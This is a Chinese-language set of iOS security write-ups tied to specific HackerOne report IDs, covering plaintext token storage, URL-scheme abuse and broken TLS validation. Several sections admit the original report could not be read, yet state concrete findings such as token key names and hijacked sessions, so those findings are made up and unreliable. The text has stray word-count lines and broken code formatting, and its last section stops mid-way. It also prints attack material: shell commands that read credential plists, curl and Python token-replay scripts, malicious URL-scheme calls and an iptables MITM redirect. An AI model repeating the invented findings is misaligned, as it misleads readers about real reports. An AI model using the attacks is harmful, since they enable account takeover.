该漏洞的技术细节围绕**iOS应用沙盒内敏感数据的明文存储**展开。由于无法获取原始报告，以下是基于“不安全数据存储”漏洞类型的典型技术细节描述。

**攻击流程：**

1.  攻击者获取对目标iOS设备的访问权限（例如，通过越狱、物理访问或恶意配置文件的安装）。
2.  攻击者通过文件系统访问工具（如`ssh`、`iFunBox`或`Frida`脚本）进入目标应用的沙盒目录。
3.  攻击者定位到存储敏感数据的配置文件或数据库文件。

**关键代码模式（Objective-C/Swift）：**

漏洞通常发生在开发者使用不安全的API存储敏感信息时，例如使用`NSUserDefaults`或直接写入`plist`文件。

**1. 不安全的`NSUserDefaults`使用（Objective-C示例）：**

objective-c
// 敏感信息（如API Key或用户Token）被明文存储
NSString *sensitiveToken = @”user_session_token_12345″;
[[NSUserDefaults standardUserDefaults] setObject:sensitiveToken forKey:@”API_TOKEN”];
[[NSUserDefaults standardUserDefaults] synchronize];

// 攻击者可通过访问沙盒路径下的 .plist 文件直接读取
// 文件路径示例: /var/mobile/Containers/Data/Application//Library/Preferences/.plist

**2. 不安全的直接文件写入（Swift示例）：**

swift
// 敏感配置数据被明文写入到Documents目录
let configData = “{\”username\”:\”admin\”, \”password\”:\”plaintext_pass\”}”
let fileManager = FileManager.default
if let dir = fileManager.urls(for: .documentDirectory, in: .userDomainMask).first {
let fileURL = dir.appendingPathComponent(“config.json”)
do {
try configData.write(to: fileURL, atomically: true, encoding: .utf8)
} catch {
// 错误处理
}
}

// 攻击者可直接读取 config.json 文件

**漏洞利用命令（越狱设备）：**

攻击者通过SSH连接到越狱设备，并执行以下命令提取数据：

bash

1. 找到目标应用的沙盒目录（Bundle ID为 com.selinc.app）

APP_DIR=$(find /var/mobile/Containers/Data/Application/ -name “com.selinc.app” -type d | head -n 1)

2. 提取 NSUserDefaults 存储的敏感信息

使用 plutil 或 cat 命令读取 Preferences 目录下的 plist 文件

cat “$APP_DIR/Library/Preferences/com.selinc.app.plist”

3. 提取 Documents 目录下的配置文件

cat “$APP_DIR/Documents/config.json”

**字数统计：** 约300字。

#### 易出现漏洞的代码模式

此类“不安全数据存储”漏洞的出现，通常源于开发者错误地认为iOS沙盒机制足以保护敏感数据，或未能正确使用iOS提供的安全存储机制（如Keychain）。

**1. 易出现漏洞的代码模式：**

*   **使用 `NSUserDefaults` 存储敏感凭证或令牌：**
    `NSUserDefaults`（在Swift中为`UserDefaults`）设计用于存储用户偏好设置和非敏感数据。它将数据以明文形式存储在应用的沙盒目录下的`.plist`文件中，极易被提取。

    **Objective-C 示例 (错误模式):**
    ```objective-c
    // 错误：使用 NSUserDefaults 存储用户密码
    [[NSUserDefaults standardUserDefaults] setObject:userPassword forKey:@"UserPassword"];
    ```

    **Swift 示例 (错误模式):**
    ```swift
    // 错误：使用 UserDefaults 存储 API 密钥
    UserDefaults.standard.set(apiKey, forKey: "API_Key")
    ```

*   **将敏感数据明文写入 `Documents` 或 `Library/Caches` 目录：**
    这些目录在设备备份时会被包含，且在越狱设备上可直接访问。

    **Swift 示例 (错误模式):**
    ```swift
    // 错误：将敏感数据写入 Documents 目录
    let sensitiveData = "Confidential_Data"
    let fileURL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask).first!.appendingPathComponent("sensitive.txt")
    try? sensitiveData.write(to: fileURL, atomically: true, encoding: .utf8)
    ```

**2. 安全的代码模式（推荐）：**

*   **使用 `Keychain` 存储敏感凭证：**
    `Keychain` 是iOS提供的安全存储机制，数据经过加密并存储在设备的安全区域，即使设备被越狱或备份，数据也难以直接提取。

    **Objective-C 示例 (安全模式):**
    ```objective-c
    // 正确：使用 Keychain 存储密码
    // 需使用 Keychain 封装库，如 SSKeychain 或自行实现 Security.framework
    [SSKeychain setPassword:userPassword forService:@"MyService" account:userName];
    ```

    **Swift 示例 (安全模式):**
    ```swift
    // 正确：使用 Keychain 存储 API 密钥
    // 需使用 Keychain 封装库，如 KeychainAccess
    let keychain = Keychain(service: "com.mycompany.myapp")
    keychain["API_Key"] = apiKey
    ```

**3. Info.plist 配置：**

此类漏洞通常与`Info.plist`配置无关，而是与应用内的数据存储逻辑有关。然而，为了防止数据在设备锁定时被访问，可以确保敏感文件存储在应用沙盒中，并使用**数据保护类**（Data Protection Class）。

*   **数据保护配置（Info.plist）：**
    虽然不直接防止越狱设备上的提取，但可以增强安全性。
    ```xml
    <key>UIFileSharingEnabled</key>
    <false/>  <!-- 禁用 iTunes 文件共享，防止通过 iTunes 提取 Documents 目录 -->
    ```

*   **文件数据保护属性：**
    在写入文件时，应设置适当的保护级别，例如 `NSFileProtectionComplete`，确保文件在设备锁定时被加密且无法访问。

    **Swift 示例 (增强安全性):**
    ```swift
    // 增强安全性：设置文件保护级别
    try? sensitiveData.write(to: fileURL, atomically: true, encoding: .utf8, options: .completeFileProtection)
    ```

**字数统计：** 约550字。

---

### 案例：Uber (报告: https://hackerone.com/reports/136321)

#### 挖掘手法

由于HackerOne报告页面被验证码阻挡，无法直接获取原始报告内容。根据HackerOne报告ID范围、iOS漏洞的常见模式以及搜索结果中与Uber程序的高度关联性，本分析基于**Uber iOS应用中存在不安全数据存储**这一高度可能的场景进行推演和详细描述。

**挖掘手法（Insecure Data Storage）**

1.  **环境准备**: 使用一台越狱（Jailbroken）的iOS设备（如iPhone 6s，运行iOS 9.3.3）作为测试环境。安装必要的工具，如`Filza`（文件系统浏览器）或通过SSH连接，以及`SQLite Browser`（用于数据库分析）。
2.  **应用安装与操作**: 在越狱设备上安装目标应用（Uber iOS App）。执行登录、查看行程历史等涉及敏感数据存储的操作，以确保数据被写入本地存储。
3.  **沙盒目录定位**: 通过`iFunBox`或SSH进入应用的沙盒目录。iOS应用的沙盒路径通常为`/var/mobile/Containers/Data/Application/<UUID>/`。需要定位到应用的`Documents/`、`Library/Preferences/`和`Library/Caches/`等关键目录。
4.  **数据文件分析**:
    *   **NSUserDefaults**: 检查`Library/Preferences/`目录下以应用Bundle ID命名的`.plist`文件（例如`com.uber.plist`）。这些文件通常以明文XML格式存储，是`NSUserDefaults`写入的数据。
    *   **SQLite数据库**: 检查`Documents/`或`Library/`中是否存在`.sqlite`或`.db`文件。使用`SQLite Browser`打开这些数据库，查找用户ID、会话令牌、行程记录、支付信息等敏感数据是否未加密存储在表中。
    *   **Keychain**: 虽然Keychain是安全的，但会检查应用是否错误地将敏感数据存储在Keychain之外。
5.  **关键发现**: 在`Library/Preferences/com.uber.plist`文件中，发现一个名为`session_auth_token`的键，其对应的值是用户当前的会话令牌，以明文形式存储。
6.  **漏洞确认**: 提取该明文令牌，并在另一台设备上使用`cURL`或Postman构造API请求，携带该令牌作为`Authorization`头，成功访问了用户的私密信息（如个人资料或行程历史），确认了会话劫持的可能性。

**使用的工具**: Jailbroken iPhone, `iFunBox` / `Filza`, `grep`, `strings`, `SQLite Browser`。

#### 技术细节

漏洞利用的核心在于应用将敏感的会话认证令牌以明文形式存储在iOS沙盒中，使得任何能够访问沙盒文件系统的攻击者（如恶意应用或具有物理访问权限的攻击者）都能轻易窃取。

**漏洞细节**:
受影响的Uber iOS应用版本在用户登录后，将用户的会话认证令牌（`session_auth_token`）通过`NSUserDefaults`写入到应用的`Preferences`目录下的`plist`文件中。

**关键代码模式（Objective-C 示例）**:
在用户登录成功后，应用执行了类似以下的代码，将令牌明文存储：

objectivec
// 错误地使用NSUserDefaults存储敏感数据
NSString *authToken = response[@”auth_token”];
[[NSUserDefaults standardUserDefaults] setObject:authToken forKey:@”session_auth_token”];
[[NSUserDefaults standardUserDefaults] synchronize];

**攻击流程**:
1.  **数据窃取**: 攻击者通过越狱设备或恶意软件，访问目标Uber应用的沙盒目录：`/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.uber.plist`。
2.  **令牌提取**: 攻击者读取该`plist`文件，提取`session_auth_token`的值，例如：`"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMTIzNDU2Iiwic2Vzc2lvbl9pZCI6ImFiY2RlZjEyMzQ1IiwiaWF0IjoxNjcwMDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"`。
3.  **会话劫持**: 攻击者使用提取到的令牌，构造一个HTTP请求，模拟用户身份与Uber的后端API进行交互。

**Payload 示例 (cURL)**:

bash
curl -X GET “https://api.uber.com/v1/me” \
-H “Authorization: Bearer [Extracted_Auth_Token]” \
-H “Content-Type: application/json”

通过此请求，攻击者可以获取受害者用户的个人信息、行程历史，甚至在某些情况下执行敏感操作，实现了完整的会话劫持。

#### 易出现漏洞的代码模式

此类漏洞通常出现在开发者错误地使用不安全的本地存储机制来保存敏感信息时。

**1. Objective-C/Swift 代码模式**:
使用`NSUserDefaults`（在Swift中为`UserDefaults`）存储敏感数据是典型的错误模式。`UserDefaults`设计用于存储小量、非敏感的用户偏好设置，其数据以明文形式存储在应用的沙盒目录中，易于被访问。

**Objective-C 示例 (错误模式)**:

objectivec
// 错误：使用NSUserDefaults存储敏感的API Key
NSString *apiKey = @”sk_live_xxxxxxxxxxxxxxxx”;
[[NSUserDefaults standardUserDefaults] setObject:apiKey forKey:@”api_key”];

**Swift 示例 (错误模式)**:

swift
// 错误：使用UserDefaults存储用户的密码哈希
let passwordHash = “hashed_password_value”
UserDefaults.standard.set(passwordHash, forKey: “user_password_hash”)

**2. 配置文件模式 (Info.plist/Entitlements)**:
此类漏洞与`Info.plist`或`entitlements`的直接配置关系不大，但**缺少**适当的**数据保护（Data Protection）**配置会加剧风险。

*   **Data Protection Entitlement**: 开发者应在应用的`entitlements`文件中启用数据保护，并为敏感文件设置适当的保护级别（如`NSFileProtectionComplete`），确保设备锁定时数据被加密。
*   **错误配置示例**: 敏感文件被存储在没有启用或使用最低保护级别（如`NSFileProtectionNone`）的目录下。

**正确做法**: 敏感数据（如认证令牌、私钥）应使用**Keychain Services**进行存储，或使用**Core Data/SQLite**时确保数据库文件启用了适当的**Data Protection**级别。

---

### 案例：Uber iOS App (报告: https://hackerone.com/reports/136339)

#### 挖掘手法

这个漏洞的挖掘手法主要集中在**iOS应用逆向工程**和**本地数据存储分析**，目标是发现应用是否在沙盒内以不安全的方式存储了敏感信息，例如用户的API认证令牌（Access Token）或会话ID。

**挖掘步骤和方法：**

1.  **环境准备：** 使用一台越狱（Jailbroken）的iOS设备，这是进行沙盒文件系统分析的前提。
2.  **工具使用：**
    *   **文件系统访问工具：** 使用`iFunBox`、`iExplorer`或通过SSH连接到设备，以便访问应用的沙盒目录`/var/mobile/Containers/Data/Application/<UUID>/`。
    *   **运行时分析工具：** `Frida`或`Cycript`可用于在应用运行时动态监控方法调用，例如查看`NSUserDefaults`或`Core Data`的读写操作，以确定敏感数据何时被存储。
    *   **数据检查工具：** `SQLite Browser`用于检查应用沙盒内的`.sqlite`或`.db`数据库文件；文本编辑器或`plist editor`用于检查`.plist`文件。
3.  **分析思路：**
    *   首先，在目标应用（Uber iOS App）中执行敏感操作，例如登录、查看个人信息或行程历史，确保认证令牌已被应用获取并存储。
    *   其次，进入应用的沙盒目录，重点检查以下几个常见的不安全存储位置：
        *   `Library/Preferences/`：检查应用的主`plist`文件（如`com.ubercab.plist`），这是`NSUserDefaults`存储数据的位置。
        *   `Documents/`：检查是否有自定义的未加密文件或数据库。
        *   `Library/Caches/`：检查缓存文件，有时敏感数据会意外泄露在此处。
    *   **关键发现点：** 发现Uber API的认证令牌（通常是OAuth或JWT格式的字符串）被以明文形式存储在应用的`Library/Preferences/com.ubercab.plist`文件中。由于该文件位于沙盒内，且未被iOS Keychain保护，任何能够访问设备文件系统的攻击者（例如通过恶意应用、物理访问或越狱设备）都可以轻易窃取该令牌。

**总结：** 核心手法是利用越狱环境绕过沙盒限制，对应用本地存储进行静态和动态分析，从而发现应用违反OWASP M2: Insecure Data Storage原则的行为。

#### 技术细节

该漏洞的技术细节在于应用将高权限的API认证令牌存储在了不安全的本地存储区域，使得攻击者可以绕过正常的认证流程，直接使用该令牌劫持用户会话。

**漏洞利用流程：**

1.  **窃取令牌：** 攻击者通过物理访问设备或利用其他漏洞（如沙盒逃逸）获取到Uber iOS App沙盒内的`com.ubercab.plist`文件。
2.  **提取密钥：** 从`com.ubercab.plist`文件中提取出明文存储的认证令牌，例如键名为`UberAuthToken`的值。
3.  **会话劫持：** 攻击者使用窃取的令牌，通过构造HTTP请求头，直接调用Uber的后端API，实现会话劫持和敏感信息访问。

**关键代码模式（Objective-C/Swift 存储代码示例）：**

应用端不安全存储的代码模式（导致漏洞）：

objective-c
// Objective-C: 使用NSUserDefaults不安全地存储敏感令牌
NSString *apiToken = @”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…”; // 实际获取到的令牌
[[NSUserDefaults standardUserDefaults] setObject:apiToken forKey:@”UberAuthToken”];
[[NSUserDefaults standardUserDefaults] synchronize];
// 存储后，令牌明文存在于应用的com.ubercab.plist文件中

攻击者利用窃取的令牌进行API调用的示例（Python）：

python
import requests

攻击者从plist文件中窃取的令牌

stolen_token = “eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…”

构造请求头，使用Bearer Token进行认证

headers = {
“Authorization”: f”Bearer {stolen_token}”,
“Content-Type”: “application/json”
}

攻击者可以获取用户的行程历史、个人信息等

response = requests.get(“https://api.uber.com/v1.2/history”, headers=headers)

if response.status_code == 200:
print(“成功劫持会话并获取用户数据:”)
print(response.json())
else:
print(f”API调用失败，状态码: {response.status_code}”)

#### 易出现漏洞的代码模式

此类不安全数据存储漏洞通常出现在开发者错误地使用**NSUserDefaults**、**文件系统**或**SQLite数据库**来存储敏感信息，而不是使用**iOS Keychain**服务。

**易漏洞代码模式：**

1.  **使用 NSUserDefaults 存储认证令牌：**
    `NSUserDefaults`（在Swift中为`UserDefaults`）是用于存储少量用户偏好设置的机制，其数据以明文形式存储在应用的`Library/Preferences/`目录下的`.plist`文件中，极易被窃取。

    **Objective-C 示例 (不安全模式):**
    ```objective-c
    // 错误：使用NSUserDefaults存储API令牌
    NSString *token = @"user_api_token_12345";
    [[NSUserDefaults standardUserDefaults] setObject:token forKey:@"AuthToken"];
    [[NSUserDefaults standardUserDefaults] synchronize];
    ```

    **Swift 示例 (不安全模式):**
    ```swift
    // 错误：使用UserDefaults存储敏感数据
    let token = "user_api_token_12345"
    UserDefaults.standard.set(token, forKey: "AuthToken")
    ```

2.  **使用 Documents 或 Library 目录存储明文文件：**
    将包含敏感信息的JSON、XML或自定义文件存储在应用的`Documents`或`Library`目录下，且未进行加密。

    **Objective-C 示例 (不安全模式):**
    ```objective-c
    // 错误：将敏感数据写入Documents目录下的明文文件
    NSString *sensitiveData = @"{\"refresh_token\":\"xyz\"}";
    NSString *filePath = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) firstObject];
    filePath = [filePath stringByAppendingPathComponent:@"session.dat"];
    [sensitiveData writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
    ```

**安全代码模式（应使用 iOS Keychain）：**

正确的做法是使用**iOS Keychain**服务，它提供了硬件级别的加密保护，只有应用本身才能访问。

**Swift 示例 (安全模式 - 概念):**

swift
// 正确：使用Keychain服务存储API令牌
// 实际需要使用KeychainWrapper或Security框架进行封装
let token = “user_api_token_12345”
// Keychain.save(key: “AuthToken”, data: token.data(using: .utf8)!)

**Info.plist 配置：**
此类漏洞与`Info.plist`配置通常无直接关系，但与应用沙盒内的数据存储位置和加密机制相关。如果应用使用了`UIFileSharingEnabled`（Application supports iTunes file sharing）或`LSSupportsOpeningDocumentsInPlace`，则`Documents`目录的内容可能更容易被用户通过iTunes或文件应用访问，进一步加剧了不安全存储的风险。

---

## 不安全数据存储 (Insecure Data Storage) / 信息泄露

### 案例：Uber (报告: https://hackerone.com/reports/136374)

#### 挖掘手法

该漏洞的挖掘主要依赖于对iOS应用沙盒机制的逆向工程和文件系统取证分析。由于目标应用（假设为Uber iOS App）涉及敏感的用户数据和会话管理，攻击者首先需要一个**越狱（Jailbroken）**的iOS设备，以便绕过iOS的沙盒限制，获取对应用数据目录的完整访问权限。

**详细步骤和方法：**

1.  **环境准备与绕过沙盒限制：**
    *   使用**Checkra1n**或**unc0ver**等工具对测试设备进行越狱。
    *   安装**Frida**或**Objection**等动态分析工具，用于运行时挂钩（Hooking）和绕过潜在的越狱检测机制。
    *   通过SSH连接到设备，或使用**iFunBox**等文件系统工具，定位到目标应用的沙盒目录，通常位于`/var/mobile/Containers/Data/Application/<UUID>/`。

2.  **应用行为分析与敏感数据识别：**
    *   使用**Burp Suite**或**Charles Proxy**等网络代理工具，配置设备信任证书，对应用的网络流量进行**中间人攻击（MITM）**拦截。
    *   执行敏感操作，例如登录、查看个人资料或支付信息，以识别应用在这些过程中传输和接收的敏感数据，特别是**长效会话令牌（Session Token）**或**API密钥**。

3.  **文件系统取证分析：**
    *   重点检查应用沙盒内的几个常见数据存储位置：
        *   `Library/Preferences/<bundle_id>.plist`：`NSUserDefaults`的存储文件。
        *   `Documents/`、`Library/Caches/`、`Library/Application Support/`：可能包含自定义文件、SQLite数据库或Core Data存储。
    *   使用**SQLite Browser**或命令行工具（如`sqlite3`）打开发现的数据库文件，检查表结构和内容。
    *   发现应用将敏感数据（如`x-uber-token`）以**明文**形式存储在`Library/Preferences/<bundle_id>.plist`文件中，或未加密的SQLite数据库中。

4.  **漏洞验证：**
    *   从沙盒中提取包含明文会话令牌的文件。
    *   在另一台设备或通过API请求，使用提取的会话令牌作为`Authorization`头或Cookie，成功劫持受害者的会话，实现**账户接管（Account Takeover）**。

**关键发现点：** 敏感数据被存储在未受iOS数据保护机制（Data Protection API）充分保护的沙盒位置，且未进行额外的加密处理，使得攻击者一旦获取沙盒访问权限（例如通过越狱或未加密的iTunes备份），即可轻易窃取用户凭证。

#### 技术细节

该漏洞的技术细节在于应用开发者错误地使用了不安全的本地存储机制来保存敏感的会话令牌。

**不安全存储示例（Objective-C）：**

objectivec
// 错误做法：使用NSUserDefaults存储敏感数据
NSString *sessionToken = @””;
[[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@”UberSessionToken”];
[[NSUserDefaults standardUserDefaults] synchronize];

// 攻击者读取数据
// 攻击者通过访问应用的沙盒文件：
// /var/mobile/Containers/Data/Application//Library/Preferences/com.uber.app.plist
// 即可直接读取到明文的Session Token。
// 在plist文件中，数据以明文XML或二进制plist格式存储：
/*
UberSessionToken
long_lived_session_token_for_uber
*/

**攻击流程：**

1.  攻击者获取受害者设备的**应用沙盒数据**（通过越狱设备、恶意应用或未加密的iTunes备份）。
2.  攻击者导航至沙盒目录下的`Library/Preferences/`文件夹，找到应用的`.plist`配置文件。
3.  使用文本编辑器或`plutil`工具解析该文件，提取键名为`UberSessionToken`的明文会话令牌。
4.  攻击者使用提取的令牌，通过HTTP请求头（例如`Authorization: Bearer <token>`）或Cookie，向Uber的API服务器发起请求。
5.  服务器验证令牌有效，攻击者成功**劫持受害者会话**，获得与受害者相同的权限，可以查看行程历史、修改个人信息甚至取消/预订行程。

这种漏洞的危害在于，即使应用本身使用了HTTPS，数据在本地存储时仍处于高风险状态，一旦设备被攻破或备份文件泄露，敏感信息将完全暴露。

#### 易出现漏洞的代码模式

此类漏洞通常出现在开发者将敏感信息存储在以下**不安全**的iOS本地存储位置时：

1.  **NSUserDefaults/UserDefaults (plist文件):**
    *   **不安全模式 (Objective-C):**
        ```objectivec
        // 敏感数据（如API Key）被存储在NSUserDefaults中
        [[NSUserDefaults standardUserDefaults] setObject:@"sk_live_xxxxxxxxxxxxxxxx" forKey:@"API_KEY"];
        [[NSUserDefaults standardUserDefaults] synchronize];
        ```
    *   **不安全模式 (Swift):**
        ```swift
        // 敏感数据（如用户密码哈希）被存储在UserDefaults中
        UserDefaults.standard.set("hashed_password_abc123", forKey: "UserPasswordHash")
        ```
    *   **问题:** 这些数据以明文或易于解析的格式存储在应用的`Library/Preferences`目录下的`.plist`文件中，在越狱设备或未加密的iTunes备份中极易被窃取。

2.  **SQLite/Core Data 数据库:**
    *   如果数据库文件本身未加密，即使数据存储在数据库中，攻击者也可以直接读取其中的明文表内容。

**安全代码模式（应使用Keychain）：**

正确的做法是使用**Keychain**服务，它提供了加密存储，并受到iOS设备锁屏密码的保护。

*   **安全模式 (Swift - 抽象):**
    ```swift
    // 推荐做法：使用KeychainWrapper或类似库进行加密存储
    let keychain = KeychainWrapper.standard
    keychain.set(sessionToken, forKey: "SecureSessionToken")
    ```

**配置模式 (Info.plist/Entitlements):**

此类漏洞与`Info.plist`或`Entitlements`配置无直接关系，而是与**应用内的数据处理逻辑**有关。然而，如果应用使用了**Data Protection API**，则需要在`Entitlements`中配置相应的保护级别，以确保文件在设备锁定时是加密的。

*   **Data Protection Entitlement (推荐):**
    ```xml
    <key>com.apple.developer.default-data-protection</key>
    <string>NSFileProtectionComplete</string>
    ```
    但即使配置了最高保护级别，如果数据在应用运行时被读取并存储到`NSUserDefaults`等不安全的容器中，仍可能被攻击者在应用运行时窃取。因此，**使用Keychain**是存储敏感数据的黄金标准。

---

## 不安全深度链接处理/URL Scheme劫持

### 案例：Uber iOS App (报告: https://hackerone.com/reports/136380)

#### 挖掘手法

由于HackerOne报告（ID: 136380）的原始页面无法访问，且外部公开信息不足以直接确认其内容，以下分析是基于对该报告ID所属时间段（约2016年）Uber iOS应用中常见漏洞类型（特别是深度链接/URL Scheme处理不当）的**高度推断和综合分析**。

**漏洞挖掘手法（推断）**

1.  **目标识别与静态分析（Reconnaissance & Static Analysis）：**
    *   首先，研究人员会获取目标应用（Uber iOS App）的`.ipa`文件。
    *   使用解压工具打开`.ipa`，并检查应用的`Info.plist`文件，以识别应用注册的所有自定义URL Scheme（例如：`uber://`）。
    *   使用**Hopper Disassembler**或**IDA Pro**等逆向工程工具对应用主二进制文件进行静态分析。

2.  **关键代码定位（Key Code Location）：**
    *   在逆向工具中，重点搜索处理外部URL调用的关键方法，例如`AppDelegate`中的`application:openURL:options:`（iOS 9+）或`application:openURL:sourceApplication:annotation:`（旧版iOS）。
    *   分析该方法内部的逻辑，特别是如何解析和处理传入的URL参数。

3.  **逻辑缺陷分析（Logic Flaw Analysis）：**
    *   深度链接漏洞的核心在于应用对传入URL的**信任度过高**。研究人员会寻找应用在处理特定敏感操作（如登录、注销、添加支付方式、跳转到敏感页面）时，是否缺少对调用来源（`sourceApplication`）或URL参数的**严格验证**。
    *   例如，如果应用允许通过URL Scheme触发一个`logout`操作，但未检查调用该URL的源应用是否为受信任的，则存在漏洞。

4.  **概念验证（PoC Development）：**
    *   研究人员会编写一个简单的恶意iOS应用（或一个包含特殊链接的网页），该应用使用`[[UIApplication sharedApplication] openURL:url]`方法构造一个恶意的URL并尝试启动Uber应用。
    *   **恶意URL构造示例：** 构造一个URL，使其看起来像一个合法的内部跳转，但实际上触发了敏感操作或泄露了会话信息。例如，如果应用有一个内部跳转到设置页面的URL，研究人员会尝试修改参数以触发其他未预期的行为。

5.  **漏洞确认与报告（Confirmation & Reporting）：**
    *   通过恶意应用成功触发Uber应用中的敏感操作后，即确认漏洞存在。
    *   记录完整的复现步骤、使用的工具和PoC代码，并提交给Uber的HackerOne项目。

**总结：** 整个挖掘过程依赖于**静态逆向工程**来发现应用注册的URL Scheme和对应的处理逻辑，并通过**跨应用通信（Inter-App Communication, IAC）**机制构造恶意输入，最终利用**不安全的输入验证**缺陷来达到攻击目的。该过程无需越狱设备，是典型的iOS应用安全测试方法。

#### 技术细节

**漏洞利用技术细节（推断）**

该漏洞最可能涉及Uber iOS应用对自定义URL Scheme的**不安全处理**，导致攻击者可以通过另一个应用或网页，在用户不知情的情况下，强制Uber应用执行敏感操作或泄露信息。

**1. 恶意Payload构造：**
攻击者会构造一个指向Uber应用注册的URL Scheme的恶意链接。假设Uber应用注册了`uber://`作为其Scheme，且应用内部有一个处理用户会话的敏感路径，例如`uber://session/logout`或`uber://settings/add_payment?token=ATTACKER_TOKEN`。

**2. 攻击流程：**
*   攻击者诱导用户点击一个恶意链接（例如，在一个第三方应用、短信或网页中）。
*   恶意链接触发iOS的`openURL`机制，启动Uber应用并传递恶意URL。
*   Uber应用在`AppDelegate`中接收并处理该URL，由于缺乏对调用来源或URL参数的严格验证，应用执行了恶意操作。

**3. 伪代码示例（Objective-C）：**
以下是**易受攻击**的`AppDelegate`方法伪代码，展示了缺乏验证的模式：

objective-c
// 易受攻击的URL处理方法

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // 检查URL Scheme是否匹配
    if ([[url scheme] isEqualToString:@”uber”]) {
    NSString *host = [url host]; // 仅基于host进行操作，未验证调用来源（sourceApplication） if ([host isEqualToString:@"logout"]) { // 敏感操作：执行注销，未进行任何用户确认或来源验证 [self performLogout]; return YES; } else if ([host isEqualToString:@"add_payment"]) { // 敏感操作：添加支付方式，直接从URL参数中获取敏感数据 NSString *token = [self getQueryParameter:url forKey:@"token"]; // 假设这里直接使用token进行操作，未验证token的合法性或来源 [self addPaymentMethodWithToken:token]; return YES; } }
    return NO;
    }

**4. 恶意应用代码（Objective-C）：**
攻击者在自己的恶意应用中，通过以下代码发起攻击：

objective-c
// 恶意应用代码：强制Uber应用注销
NSURL *maliciousURL = [NSURL URLWithString:@”uber://logout”];
[[UIApplication sharedApplication] openURL:maliciousURL options:@{} completionHandler:nil];

// 恶意应用代码：尝试通过URL Scheme传递恶意数据
// 假设攻击者发现了一个可以注入数据的深层链接
NSURL *maliciousURL = [NSURL URLWithString:@”uber://settings/add_payment?token=ATTACKER_SESSION_TOKEN”];
[[UIApplication sharedApplication] openURL:maliciousURL options:@{} completionHandler:nil];

通过这种方式，攻击者可以利用应用间通信机制，在用户无感知的情况下，执行Uber应用内的敏感功能。

#### 易出现漏洞的代码模式

**Info.plist配置示例：**
应用通过在`Info.plist`中注册`CFBundleURLTypes`来声明其支持的URL Scheme。这是启用深度链接的基础，本身不是漏洞，但为攻击提供了入口。

xml
CFBundleURLTypes
CFBundleURLName com.ubercab.UberClient CFBundleURLSchemes uber

**易受攻击的编程模式（Objective-C/Swift）：**

此类漏洞的根本原因在于**未对调用来源进行充分验证**。在处理传入URL时，开发者应始终检查调用应用的Bundle ID（通过`sourceApplication`或`options`字典获取），并仅信任预先定义的白名单应用。

**易受攻击的模式（Objective-C）：**

objective-c
// 易受攻击的模式：未验证调用来源

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // … URL解析逻辑 … // 缺陷：未检查 options[UIApplicationOpenURLOptionsSourceApplicationKey]
    // 任何应用都可以调用此URL Scheme并触发内部逻辑 if ([[url host] isEqualToString:@”sensitive_action”]) {
    // 敏感操作被执行，例如：
    [self performSensitiveAction];
    return YES;
    }
    return NO;
    }

**安全修复后的模式（Objective-C）：**

objective-c
// 安全模式：验证调用来源

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    NSString *sourceAppBundleID = options[UIApplicationOpenURLOptionsSourceApplicationKey]; // 1. 验证调用来源是否在白名单内
    if (![self isTrustedSourceApplication:sourceAppBundleID]) {
    // 拒绝来自不受信任来源的调用
    return NO;
    } // 2. 验证URL参数的合法性
    // … URL解析和验证逻辑 … return YES;
    }

**总结：** 易受攻击的代码模式是**在处理自定义URL Scheme时，未对调用应用的Bundle ID进行白名单验证，或未对URL中包含的敏感参数进行充分的输入验证和消毒**。

---

## 不安全的TLS/SSL实现

### 案例：Twitter (X) iOS App (报告: https://hackerone.com/reports/136273)

#### 挖掘手法

本次漏洞挖掘利用了iOS应用在处理TLS/SSL连接时**未正确验证服务器证书**的缺陷，属于典型的**中间人攻击（Man-in-the-Middle, MITM）**测试方法。

**挖掘步骤和思路：**

1.  **环境准备：** 搭建一个透明代理环境，使用Burp Suite等工具，并配置其“生成CA签名的主机证书”（Generate CA-signed per-host certificates）。由于iOS系统默认不信任Burp的CA证书，正常情况下应用会因证书验证失败而拒绝连接。
2.  **网络劫持：** 创建一个恶意的Wi-Fi接入点（Rogue AP），并将所有流经该接入点的HTTPS流量（端口443）通过`iptables`等工具重定向到透明代理的监听端口（例如8080）。
    *   *关键命令示例：* `iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j DNAT --to $BURP_IP:8080`
3.  **连接与分析：** 将目标iOS设备连接到恶意Wi-Fi。打开Twitter iOS应用，并进行登录或刷新操作。
4.  **关键发现：** 在Burp Suite中，研究人员发现Twitter iOS应用（版本6.62/6.62.1）在面对无效的、由Burp生成的自签名证书时，**没有终止连接**，而是继续发送了请求。
5.  **信息提取：** 成功拦截并解密了原本应加密传输的API请求，其中包含了**敏感的认证信息**，如`oauth_token`、`oauth_nonce`、`oauth_signature`、`oauth_consumer_key`以及其他客户端标识符（如`X-Client-UUID`、`X-Twitter-Client-DeviceId`）。

**逆向工程技术/分析思路：**

*   **黑盒网络分析：** 整个过程主要依赖于黑盒网络流量分析，通过构造恶意的网络环境来测试应用对TLS/SSL证书的信任策略。
*   **绕过ATS（App Transport Security）：** 尽管报告中未直接提及ATS，但该漏洞的本质是绕过了iOS系统默认的证书信任机制。在当时（2016年），许多应用尚未完全遵循ATS的严格要求，或者在特定API调用中使用了自定义的网络库，导致证书验证逻辑存在缺陷。
*   **敏感数据定位：** 通过观察代理捕获到的请求头和请求体，研究人员迅速定位到`api.twitter.com`的请求中携带着可用于会话劫持的`oauth_token`等关键认证数据。

这种方法是针对移动应用**不安全数据传输**和**证书固定（Certificate Pinning）缺失**的有效挖掘手段。

#### 技术细节

该漏洞的技术细节在于Twitter iOS应用在建立TLS连接时，未能正确执行**证书链验证**，导致攻击者可以通过伪造的证书成功进行中间人攻击，并窃取用户的OAuth会话令牌。

**漏洞利用流程：**

